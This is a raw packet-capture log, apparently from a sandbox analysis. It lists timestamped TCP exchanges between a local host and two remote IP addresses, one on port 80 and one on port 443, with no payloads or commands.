Oct 6, 2024 22:33:16.541764021 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.542335987 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.542351007 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.542366982 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.542381048 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.542382002 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.542397976 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.542399883 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.542414904 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.542426109 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.542431116 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.542459011 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.542480946 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.542483091 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.542500019 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.542514086 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.542527914 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.542527914 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.542542934 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.542546988 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.542558908 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.542567015 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.542577028 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.542603970 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.542623997 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.542646885 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.542663097 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.542676926 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.542690992 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.542690992 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.542709112 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.542716980 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.542723894 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.542738914 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.542747974 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.542754889 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.542773008 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.542802095 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.542805910 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.542819023 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.542834044 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.542840004 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.542876005 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.543356895 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.543373108 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.543410063 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.543436050 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.544121981 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.544172049 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.544188976 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.544207096 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.544224024 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.544239998 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.544255972 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.544274092 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.544286013 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.544307947 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.544322014 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.544342041 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.544348001 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.544377089 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.544387102 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.544409990 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.544416904 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.544445038 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.544464111 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.544478893 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.544497967 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.544517040 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.544526100 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.544562101 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.623460054 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.623519897 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.623536110 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.623555899 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.623569012 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.623603106 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.623611927 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.623645067 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.623657942 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.623688936 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.623697042 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.623730898 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.623745918 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.623768091 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.623775005 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.623804092 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.623812914 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.623836040 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.623848915 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.623869896 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.623882055 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.623904943 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.623917103 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.623939991 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.623954058 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.623971939 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.623985052 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.624027967 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.624027967 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.624063969 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.624092102 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.624099970 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.624118090 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.624124050 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.624140024 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.624161959 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.624169111 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.624207020 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.624216080 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.624253035 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.624262094 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.624295950 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.624337912 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.624368906 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.624385118 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.624403954 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.624416113 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.624438047 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.624449015 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.624483109 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.624499083 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.624545097 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.624547005 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.624581099 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.624593973 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.624614954 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.624627113 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.624649048 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.624658108 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.624681950 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.624695063 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.624716997 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.624727011 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.624758959 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.624916077 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.624948978 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.624960899 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.624982119 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.624991894 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.625020027 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.625036955 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.625053883 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.625065088 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.625087023 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.625121117 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.625122070 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.625135899 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.625150919 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.625170946 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.625184059 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.625194073 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.625217915 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.625226974 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.625257015 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.625266075 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.625293016 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.625297070 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.625338078 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.625500917 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.625533104 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.625547886 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.625580072 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.625586033 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.625619888 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.625633001 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.625652075 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.625664949 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.625684977 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.625715017 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.625725985 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.625732899 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.625765085 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.625794888 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.625797033 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.625818968 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.625828981 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.625848055 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.625863075 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.625875950 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.625896931 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.625919104 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.625929117 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.625942945 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.625962973 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.625973940 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.625997066 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.626008987 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.626030922 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.626043081 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.626064062 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.626085043 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.626096964 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.626122952 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.626130104 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.626147985 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.626163006 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.626174927 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.626204967 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.626395941 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.626441002 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.626449108 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.626481056 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.626497984 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.626530886 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.626564026 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.626565933 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.626596928 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.626599073 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.626631021 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.626631021 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.626661062 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.626665115 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.626679897 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.626698017 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.626713037 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.626732111 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.626741886 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.626765013 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.626777887 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.626797915 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.626805067 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.626828909 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.626841068 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.626862049 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.626871109 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.626897097 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.626912117 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.626930952 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.626941919 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.626964092 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.626974106 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.626997948 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.627007008 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.627031088 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.627046108 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.627075911 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.627358913 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.627407074 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.627445936 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.627480984 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.627490044 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.627516031 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.627523899 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.627548933 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.627566099 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.627582073 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.627599001 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.627614975 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.627625942 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.627646923 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.627659082 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.627680063 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.627691031 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.627720118 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.627732992 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.627753019 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.627763033 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.627787113 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.627795935 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.627820015 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.627831936 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.627854109 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.627867937 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.627887011 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.627899885 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.627921104 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.627928972 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.627954006 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.627964973 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.627986908 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.627995014 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.628020048 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.628031015 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.628052950 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.628062963 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.628086090 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.628096104 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.628128052 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.628257036 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.628289938 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.628297091 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.628324032 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.628334045 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.628356934 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.628366947 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.628391981 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.628401995 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.628427029 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.628432989 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.628459930 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.628483057 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.628492117 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.628508091 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.628525019 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.628535986 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.628560066 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.628571987 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.628603935 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.642883062 CEST	443	49796	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:16.642937899 CEST	443	49796	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:16.643008947 CEST	49796	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:16.643248081 CEST	49796	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:16.643276930 CEST	443	49796	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:16.643372059 CEST	49796	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:16.643381119 CEST	443	49796	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:16.646414042 CEST	49801	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:16.646445036 CEST	443	49801	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:16.646538973 CEST	49801	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:16.646660089 CEST	49801	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:16.646676064 CEST	443	49801	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:16.648998022 CEST	443	49797	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:16.649322987 CEST	49797	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:16.649353027 CEST	443	49797	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:16.649751902 CEST	49797	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:16.649758101 CEST	443	49797	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:16.709995985 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.710053921 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.710088968 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.710114956 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.710123062 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.710130930 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.710160017 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.710170984 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.710190058 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.710212946 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.710216045 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.710262060 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.710266113 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.710295916 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.710314989 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.710328102 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.710347891 CEST	49741	80	192.168.2.4	141.98.233.156
